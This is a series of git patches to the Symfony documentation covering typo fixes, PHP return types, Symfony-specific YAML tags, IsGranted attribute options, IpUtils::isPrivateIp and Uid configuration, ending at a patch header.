From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 17 Mar 2023 16:31:13 +0100
Subject: [PATCH 4434/7107] fix typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2fc61a068ee..ba8b3aac268 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2188,7 +2188,7 @@ provided in order to ease the declaration of these special handlers::
 .. versionadded:: 6.3
 
     The :method:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait::getBatchSize`
-    method was introduced 6.3.
+    method was introduced in Symfony 6.3.
 
 .. note::
 

From 4b1c9cb3424f02ea127227520775e957367b239c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Micha=C3=ABl=20Mordefroy?=
 <42770997+Mick3DIY@users.noreply.github.com>
Date: Tue, 14 Mar 2023 15:05:54 +0100
Subject: [PATCH 4435/7107] [Workflow] Update workflow.rst

---
 workflow.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 0deb02df50b..98b3162091d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -160,6 +160,10 @@ follows:
     If you are creating your first workflows, consider using the ``workflow:dump``
     command to :doc:`debug the workflow contents </workflow/dumping-workflows>`.
 
+.. tip::
+
+    You can use constants in YAML files and add some in the BlogPost entity for places ``draft`` by ``!php/const App\Entity\BlogPost::STATE_DRAFT`` or for transitions ``to_review`` by ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``.
+
 The configured property will be used via its implemented getter/setter methods by the marking store::
 
     // src/Entity/BlogPost.php

From 7ee76d0fa4be628cb9c5ec43a128b978aba3d8f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Mar 2023 17:49:50 +0100
Subject: [PATCH 4436/7107] Minor tweak

---
 workflow.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 98b3162091d..98b0d7c5798 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -162,7 +162,10 @@ follows:
 
 .. tip::
 
-    You can use constants in YAML files and add some in the BlogPost entity for places ``draft`` by ``!php/const App\Entity\BlogPost::STATE_DRAFT`` or for transitions ``to_review`` by ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``.
+    You can use PHP constants in YAML files via the ``!php/const `` notation.
+    E.g. you can use ``!php/const App\Entity\BlogPost::STATE_DRAFT`` instead of
+    ``'draft'`` or ``!php/const App\Entity\BlogPost::TRANSITION_TO_REVIEW``
+    instead of ``'to_review'``.
 
 The configured property will be used via its implemented getter/setter methods by the marking store::
 

From 6040cfe7258b2b33c3a95af0ccf37185fd9dff93 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 17 Mar 2023 13:11:53 +0100
Subject: [PATCH 4437/7107] [DependencyInjection] Add the `constructor` option
 to service definition

---
 service_container/factories.rst | 71 +++++++++++++++++++++++++++++++++
 1 file changed, 71 insertions(+)

diff --git a/service_container/factories.rst b/service_container/factories.rst
index 004846f48ec..0faa1f6b512 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -167,6 +167,77 @@ You can omit the class on the factory declaration:
                 ->factory([null, 'create']);
         };
 
+It is also possible to use the ``constructor`` option, instead of passing ``null``
+as the factory class:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Email/NewsletterManager.php
+        namespace App\Email;
+
+        use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+        #[Autoconfigure(bind: ['$sender' => 'fabien@symfony.com'], constructor: 'create')]
+        class NewsletterManager
+        {
+            private string $sender;
+
+            public static function create(string $sender): self
+            {
+                $newsletterManager = new self();
+                $newsletterManager->sender = $sender;
+                // ...
+
+                return $newsletterManager;
+            }
+        }
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            App\Email\NewsletterManager:
+                constructor: 'create'
+                arguments:
+                    $sender: 'fabien@symfony.com'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Email\NewsletterManager" constructor="create">
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Email\NewsletterManager;
+
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->set(NewsletterManager::class)
+                ->constructor('create');
+        };
+
+.. versionadded:: 6.3
+
+    The ``constructor`` option was introduced in Symfony 6.3.
+
 Non-Static Factories
 --------------------
 

From 2b5b60aece560295a49ec0bc5a35729bb0a51e96 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 00:43:17 +0100
Subject: [PATCH 4438/7107] Update data_transformers.rst

Adding return type for addModelTransformer functions params
---
 form/data_transformers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 8258ee2794a..d87bde36855 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -78,11 +78,11 @@ class::
 
             $builder->get('tags')
                 ->addModelTransformer(new CallbackTransformer(
-                    function ($tagsAsArray) {
+                    function ($tagsAsArray): string {
                         // transform the array to a string
                         return implode(', ', $tagsAsArray);
                     },
-                    function ($tagsAsString) {
+                    function ($tagsAsString): array {
                         // transform the string back to an array
                         return explode(', ', $tagsAsString);
                     }

From eaf87b73383cc4604ebe483c392dfc530a5c0428 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Mar 2023 17:52:01 +0100
Subject: [PATCH 4439/7107] [Logging] Tweak a section heading

---
 logging/channels_handlers.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index aa4a64dab69..c329909ad88 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -99,10 +99,9 @@ can do it in any (or all) environments:
     such handler will ignore this configuration and will process every message
     passed to them.
 
-YAML Specification
-------------------
+.. _yaml-specification:
 
-You can specify the configuration by many forms:
+You can specify the configuration in different ways:
 
 .. code-block:: yaml
 

From 752721edeb013ce1c19533ab746d0cf0890c839e Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 12:35:45 +0100
Subject: [PATCH 4440/7107] Update events.rst

Add void return type
---
 form/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/events.rst b/form/events.rst
index a99698aa247..d8ab9d60b87 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -272,7 +272,7 @@ method of the ``FormFactory``::
     $form = $formFactory->createBuilder()
         ->add('username', TextType::class)
         ->add('showEmail', CheckboxType::class)
-        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event) {
+        ->addEventListener(FormEvents::PRE_SUBMIT, function (FormEvent $event): void {
             $user = $event->getData();
             $form = $event->getForm();
 

From 7ccec05c0664de53c6040cce71c4d647161d738f Mon Sep 17 00:00:00 2001
From: jeanhadrien <40248338+jeanhadrien@users.noreply.github.com>
Date: Sat, 18 Mar 2023 18:03:02 +0100
Subject: [PATCH 4441/7107] Update doctrine.rst

typo fixe
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 731cd06785f..9aa81e22ae7 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -663,7 +663,7 @@ using the ``MapEntity`` attribute::
 
 .. tip::
 
-    When enabled globally, it's possible to disabled the behavior on a specific
+    When enabled globally, it's possible to disable the behavior on a specific
     controller, by using the ``MapEntity`` set to ``disabled``::
 
         public function show(

From 9310d78d2c018e091f717fff7dd008d8042db68c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 18 Mar 2023 18:32:14 +0100
Subject: [PATCH 4442/7107] [Yaml] Mention `php/const` and `php/object`

---
 reference/formats/yaml.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index cc426fa3f1c..4043d848aed 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -321,6 +321,28 @@ The YAML specification defines some tags to set the type of any data explicitly:
             Pz7Y6OjuDg4J+fn5OTk6enp
             56enmleECcgggoBADs=
 
+Symfony Specific Tags
+~~~~~~~~~~~~~~~~~~~~~
+
+The YAML component provides a few additional tags that brings a few
+features when parsed in your PHP code:
+
+* ``!php/const`` allows to use a constant name defined in a PHP file. This
+  tag takes a constant FQCN as its argument:
+
+.. code-block:: yaml
+
+    data:
+        page_limit: !php/const App\Pagination\Paginator::PAGE_LIMIT
+
+* ``!php/object`` allows to pass the serialized representation of a PHP
+  object, which will be deserialized when the parsing is done:
+
+.. code-block:: yaml
+
+    data:
+        my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}'
+
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From e8313e624803ac055703a338a7804aedcb46adfb Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Sun, 19 Mar 2023 23:28:09 +0100
Subject: [PATCH 4443/7107] replace ManagerRegistry with EntityManagerInterface
 in doctrine associations doc

---
 doctrine/associations.rst | 19 +++++++++----------
 1 file changed, 9 insertions(+), 10 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8ebdadf7864..f89e2c9b237 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -313,14 +313,14 @@ Now you can see this new code in action! Imagine you're inside a controller::
     // ...
     use App\Entity\Category;
     use App\Entity\Product;
-    use Doctrine\Persistence\ManagerRegistry;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
         #[Route('/product', name: 'product')]
-        public function index(ManagerRegistry $doctrine): Response
+        public function index(EntityManagerInterface $entityManager): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -333,7 +333,6 @@ Now you can see this new code in action! Imagine you're inside a controller::
             // relates this product to the category
             $product->setCategory($category);
 
-            $entityManager = $doctrine->getManager();
             $entityManager->persist($category);
             $entityManager->persist($product);
             $entityManager->flush();
@@ -379,9 +378,9 @@ before. First, fetch a ``$product`` object and then access its related
 
     class ProductController extends AbstractController
     {
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->find($id);
+            $product = $productRepository->find($id);
             // ...
 
             $categoryName = $product->getCategory()->getName();
@@ -412,9 +411,9 @@ direction::
     // ...
     class ProductController extends AbstractController
     {
-        public function showProducts(ManagerRegistry $doctrine, int $id): Response
+        public function showProducts(CategoryRepository $categoryRepository, int $id): Response
         {
-            $category = $doctrine->getRepository(Category::class)->find($id);
+            $category = $categoryRepository->find($id);
 
             $products = $category->getProducts();
 
@@ -433,7 +432,7 @@ by adding JOINs.
     a "proxy" object in place of the true object. Look again at the above
     example::
 
-        $product = $doctrine->getRepository(Product::class)->find($id);
+        $product = $productRepository->find($id);
 
         $category = $product->getCategory();
 
@@ -503,9 +502,9 @@ object and its related ``Category`` in one query::
     // ...
     class ProductController extends AbstractController
     {
-        public function show(ManagerRegistry $doctrine, int $id): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
-            $product = $doctrine->getRepository(Product::class)->findOneByIdJoinedToCategory($id);
+            $product = $productRepository->findOneByIdJoinedToCategory($id);
 
             $category = $product->getCategory();
 

From 7b1160c67b1bd7b162de3216da8c13b7608bf3f2 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Mar 2023 08:50:55 +0100
Subject: [PATCH 4444/7107] [HttpFoundation] Add `ParameterBag::getString()`

---
 components/http_foundation.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index a569fd9b459..aa2c7a78224 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -147,9 +147,13 @@ has some methods to filter the input values:
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getEnum`
     Returns the parameter value converted to a PHP enum;
 
+:method:`Symfony\\Component\\HttpFoundation\\ParameterBag::getString`
+    Returns the parameter value as a string;
+
 .. versionadded:: 6.3
 
-    The ``ParameterBag::getEnum()`` method was introduced in Symfony 6.3.
+    The ``ParameterBag::getEnum()`` and ``ParameterBag::getString()`` methods
+    were introduced in Symfony 6.3.
 
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.

From f767aa9f4a8831a9d783b97ff609e62726f5ce30 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 20 Mar 2023 08:17:51 +0100
Subject: [PATCH 4445/7107] Update forwarding.rst

---
 controller/forwarding.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/forwarding.rst b/controller/forwarding.rst
index 0f231e07b42..444439bb2df 100644
--- a/controller/forwarding.rst
+++ b/controller/forwarding.rst
@@ -14,7 +14,7 @@ and calls the defined controller. The ``forward()`` method returns the
 :class:`Symfony\\Component\\HttpFoundation\\Response` object that is returned
 from *that* controller::
 
-    public function index($name)
+    public function index($name): Response
     {
         $response = $this->forward('App\Controller\OtherController::fancy', [
             'name'  => $name,
@@ -29,7 +29,7 @@ from *that* controller::
 The array passed to the method becomes the arguments for the resulting controller.
 The target controller method might look something like this::
 
-    public function fancy($name, $color)
+    public function fancy(string $name, string $color): Response
     {
         // ... create and return a Response object
     }

From bbbaa103ee8fe301e9c982caa1afb1eacc0b830a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Mar 2023 12:56:00 +0100
Subject: [PATCH 4446/7107] Minor syntax issue in Symfony Server article

---
 setup/symfony_server.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index f6e348d02a3..46e6889a48a 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -59,7 +59,7 @@ run the Symfony server in the background:
 .. tip::
 
     On macOS, when starting the Symfony server you might see a warning dialog asking
-    _"Do you want the application to accept incoming network connections?"_.
+    *"Do you want the application to accept incoming network connections?"*.
     This happens when running unsigned appplications that are not listed in the
     firewall list. The solution is to run this command that signs the Symfony binary:
 

From aad5bf582e89b8db44232c7bc7990a7519c6ecd2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 20 Mar 2023 13:21:35 +0100
Subject: [PATCH 4447/7107] Minor tweaks

---
 reference/formats/yaml.rst | 28 +++++++++++++++-------------
 1 file changed, 15 insertions(+), 13 deletions(-)

diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 4043d848aed..01d23bf264c 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -321,27 +321,28 @@ The YAML specification defines some tags to set the type of any data explicitly:
             Pz7Y6OjuDg4J+fn5OTk6enp
             56enmleECcgggoBADs=
 
-Symfony Specific Tags
-~~~~~~~~~~~~~~~~~~~~~
+Symfony Specific Features
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The YAML component provides a few additional tags that brings a few
-features when parsed in your PHP code:
+The Yaml component provides some additional features that are not part of the
+official YAML specification but are useful in Symfony applications:
 
-* ``!php/const`` allows to use a constant name defined in a PHP file. This
-  tag takes a constant FQCN as its argument:
+* ``!php/const`` allows to get the value of a PHP constant. This tag takes the
+  fully-qualified class name of the constant as its argument:
 
-.. code-block:: yaml
+  .. code-block:: yaml
 
-    data:
-        page_limit: !php/const App\Pagination\Paginator::PAGE_LIMIT
+      data:
+          page_limit: !php/const App\Pagination\Paginator::PAGE_LIMIT
 
 * ``!php/object`` allows to pass the serialized representation of a PHP
-  object, which will be deserialized when the parsing is done:
+  object (created with the `serialize()`_ function), which will be deserialized
+  when parsing the YAML file:
 
-.. code-block:: yaml
+  .. code-block:: yaml
 
-    data:
-        my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}'
+      data:
+          my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}'
 
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -360,3 +361,4 @@ The following YAML features are not supported by the Symfony Yaml component:
 
 .. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
 .. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
+.. _`serialize()`: https://www.php.net/manual/en/function.serialize.php

From a67aaf0ce8f7f7ca4ac33f584d30d48a710ff052 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 18 Mar 2023 18:38:10 +0100
Subject: [PATCH 4448/7107] [Yaml] Mention `php/enum`

---
 reference/formats/yaml.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 99e108db178..a46c9da889e 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -338,6 +338,21 @@ official YAML specification but are useful in Symfony applications:
       data:
           my_object: !php/object 'O:8:"stdClass":1:{s:3:"bar";i:2;}'
 
+* ``!php/enum`` allows to use a PHP enum case. This tag takes the fully-qualified
+  class name of the enum case as its argument:
+
+  .. code-block:: yaml
+
+      data:
+          # You can use the typed enum case...
+          operator_type: !php/enum App\Operator\Enum\Type::Or
+          # ... or you can also use "->value" to directly use the value of a BackedEnum case
+          operator_type: !php/enum App\Operator\Enum\Type::Or->value
+
+.. versionadded:: 6.2
+
+    The ``!php/enum`` tag was introduced in Symfony 6.2.
+
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From fbb9fcb3e522f8292d6d2250c599dcf86407a657 Mon Sep 17 00:00:00 2001
From: Xavier RIGAL <295150+lougaou@users.noreply.github.com>
Date: Sun, 19 Mar 2023 09:34:07 +0100
Subject: [PATCH 4449/7107] Update style.rst

"ask" signature expects a string as second parameter

public function ask(string $question, string $default = null, callable $validator = null): mixed
---
 console/style.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/style.rst b/console/style.rst
index 4a10639aee6..fc94a1be4db 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -286,7 +286,7 @@ User Input Methods
     In case you need to validate the given value, pass a callback validator as
     the third argument::
 
-        $io->ask('Number of workers to start', 1, function ($number) {
+        $io->ask('Number of workers to start', '1', function ($number) {
             if (!is_numeric($number)) {
                 throw new \RuntimeException('You must type a number.');
             }

From 7506d1fb6002ff3374d81be33ff415c56700db8d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rokas=20Mikalk=C4=97nas?= <rokas.mikalkenas@nfq.lt>
Date: Mon, 20 Mar 2023 21:08:42 +0200
Subject: [PATCH 4450/7107] Add messenger.stop_worker_on_signals option
 documentation

---
 messenger.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ba8b3aac268..4d4fe94216a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -757,8 +757,12 @@ Graceful Shutdown
 .................
 
 If you install the `PCNTL`_ PHP extension in your project, workers will handle
-the ``SIGTERM`` POSIX signal to finish processing their current message before
-terminating.
+the ``SIGTERM`` or ``SIGINT`` POSIX signals to finish processing their current
+message before terminating.
+
+However, you might prefer to use different POSIX signals for graceful shutdown.
+You can override default ones by setting ``framework.messenger.stop_worker_on_signals``
+configuration option.
 
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you

From 990596e00e91778767814da1195c5227f56c4e62 Mon Sep 17 00:00:00 2001
From: Daniel Burger <48986191+danielburger1337@users.noreply.github.com>
Date: Mon, 20 Mar 2023 17:28:47 +0100
Subject: [PATCH 4451/7107] Add IpUtils::isPrivateIp docs

---
 components/http_foundation.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index aa2c7a78224..ef26ecfbb56 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -361,6 +361,23 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
+Check if an IP belongs to a private subnet
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to know if an IP address belongs to a private subnet, you can
+use the ``isPrivateIp()`` method from the
+:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that::
+
+    use Symfony\Component\HttpFoundation\IpUtils;
+
+    $ipv4 = '192.168.1.1';
+    $isPrivate = IpUtils::isPrivateIp($ipv4);
+    // $isPrivate = true
+
+    $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
+    $isPrivate = IpUtils::isPrivateIp($ipv6);
+    // $isPrivate = false
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 08e9efd30005db8d94d10861c84bcb08f0808b57 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 21 Mar 2023 07:19:57 +0100
Subject: [PATCH 4452/7107] Fix headline

---
 components/http_foundation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ef26ecfbb56..ab996d9ba1c 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -361,7 +361,7 @@ analysis purposes. Use the ``anonymize()`` method from the
     $anonymousIpv6 = IpUtils::anonymize($ipv6);
     // $anonymousIpv6 = '2a01:198:603:10::'
 
-Check if an IP belongs to a private subnet
+Check if an IP Belongs to a Private Subnet
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you need to know if an IP address belongs to a private subnet, you can

From 6bbfa9f306a52cdb773b62e8a92b94b45964a6b4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 21 Mar 2023 07:20:04 +0100
Subject: [PATCH 4453/7107] Add versionadded

---
 components/http_foundation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ab996d9ba1c..cdfcee2aae0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -378,6 +378,10 @@ use the ``isPrivateIp()`` method from the
     $isPrivate = IpUtils::isPrivateIp($ipv6);
     // $isPrivate = false
 
+.. versionadded:: 6.3
+
+    The ``isPrivateIp()`` method was introduced in Symfony 6.3.
+
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 149d33be93bb9591c640cb6aad134935084dbed4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Mar 2023 17:37:06 +0100
Subject: [PATCH 4454/7107] [Security] Add `statusCode` and `message` arguments
 to `#[IsGranted]`

---
 security.rst | 19 ++++++++++++++++++-
 1 file changed, 18 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 614041b4a94..2bcd96b17e5 100644
--- a/security.rst
+++ b/security.rst
@@ -2299,13 +2299,30 @@ the ``ROLE_SUPER_ADMIN`` permission:
     #[IsGranted('ROLE_ADMIN')]
     class AdminController extends AbstractController
     {
-        #[IsGranted('ROLE_SUPER_ADMIN')]
+        // Optionally, you can set a custom message that will be displayed to the user
+        #[IsGranted('ROLE_SUPER_ADMIN', message: 'You are not allowed to access the admin dashboard.')]
         public function adminDashboard(): Response
         {
             // ...
         }
     }
 
+If you want to use a custom status code instead of the default one (which
+is 403), this can be done by setting with the ``statusCode`` argument::
+
+    // src/Controller/AdminController.php
+    // ...
+
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    #[IsGranted('ROLE_ADMIN', statusCode: 423)]
+    class AdminController extends AbstractController
+    {
+        // ...
+    }
+
+The default code is 403.
+
 .. versionadded:: 6.2
 
     The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.

From 0837e79e91061cc2d072fd949c4e7af5c060ffaf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 21 Mar 2023 09:16:12 +0100
Subject: [PATCH 4455/7107] Minor

---
 security.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/security.rst b/security.rst
index 2bcd96b17e5..c8c0f162699 100644
--- a/security.rst
+++ b/security.rst
@@ -2321,8 +2321,6 @@ is 403), this can be done by setting with the ``statusCode`` argument::
         // ...
     }
 
-The default code is 403.
-
 .. versionadded:: 6.2
 
     The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.

From 52a254bdbbf383981b1bcad42d018125049eed10 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 20 Mar 2023 17:24:38 +0100
Subject: [PATCH 4456/7107] [Security] Add argument `exceptionCode` to
 `#[IsGranted]`

---
 security.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/security.rst b/security.rst
index 35949345fd7..9e87a7e0f20 100644
--- a/security.rst
+++ b/security.rst
@@ -2321,10 +2321,30 @@ is 403), this can be done by setting with the ``statusCode`` argument::
         // ...
     }
 
+You can also set the internal exception code of the
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccessDeniedException`
+that is thrown with the ``exceptionCode`` argument::
+
+    // src/Controller/AdminController.php
+    // ...
+
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+
+    #[IsGranted('ROLE_ADMIN', statusCode: 403, exceptionCode: 10010)]
+    class AdminController extends AbstractController
+    {
+        // ...
+    }
+
 .. versionadded:: 6.2
 
     The ``#[IsGranted()]`` attribute was introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The ``exceptionCode`` argument of the ``#[IsGranted()]`` attribute was
+    introduced in Symfony 6.3.
+
 .. _security-template:
 
 Access Control in Templates

From fda6335abaa8bc4ed13c81bc2d1a5f181fede142 Mon Sep 17 00:00:00 2001
From: "A. Pauly" <adrienpauly1@gmail.com>
Date: Tue, 7 Mar 2023 11:39:13 +0100
Subject: [PATCH 4457/7107] [Workflow] MarkingStore: remove "arguments" and add
 "property"

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 782f4c14173..8db3c0abca2 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3485,7 +3485,7 @@ marking_store
 
 Each marking store can define any of these options:
 
-* ``arguments`` (**type**: ``array``)
+* ``property`` (**type**: ``string`` **default**: ``'marking'``)
 * ``service`` (**type**: ``string``)
 * ``type`` (**type**: ``string`` **allow value**: ``'method'``)
 

From 9ef65efc16e3204f2578401d70cc8abef8c1b6bb Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 13 Mar 2023 22:14:04 +0100
Subject: [PATCH 4458/7107] [Uid] Fix Uid config example

---
 components/uid.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 96203589d3d..a19d46fb871 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -99,9 +99,9 @@ configure the behavior of the factory using configuration files::
             uid:
                 default_uuid_version: 6
                 name_based_uuid_version: 5
-                name_based_uuid_namespace: ~
+                name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8
                 time_based_uuid_version: 6
-                time_based_uuid_node: ~
+                time_based_uuid_node: 121212121212
 
     .. code-block:: xml
 
@@ -118,9 +118,9 @@ configure the behavior of the factory using configuration files::
                 <framework:uid
                     default_uuid_version="6"
                     name_based_uuid_version="5"
-                    name_based_uuid_namespace=""
+                    name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8"
                     time_based_uuid_version="6"
-                    time_based_uuid_node=""
+                    time_based_uuid_node="121212121212"
                 />
             </framework:config>
         </container>
@@ -140,9 +140,9 @@ configure the behavior of the factory using configuration files::
                 'uid' => [
                     'default_uuid_version' => 6,
                     'name_based_uuid_version' => 5,
-                    'name_based_uuid_namespace' => '',
+                    'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8',
                     'time_based_uuid_version' => 6,
-                    'time_based_uuid_node' => '',
+                    'time_based_uuid_node' => 121212121212,
                 ],
             ]);
         };

From efc16788d62db564500e3c458117ad21ac055a19 Mon Sep 17 00:00:00 2001
From: Kilian Riou <kilian@redheness.net>
Date: Mon, 13 Feb 2023 10:17:02 +0100
Subject: [PATCH 4459/7107] Update environment processor page

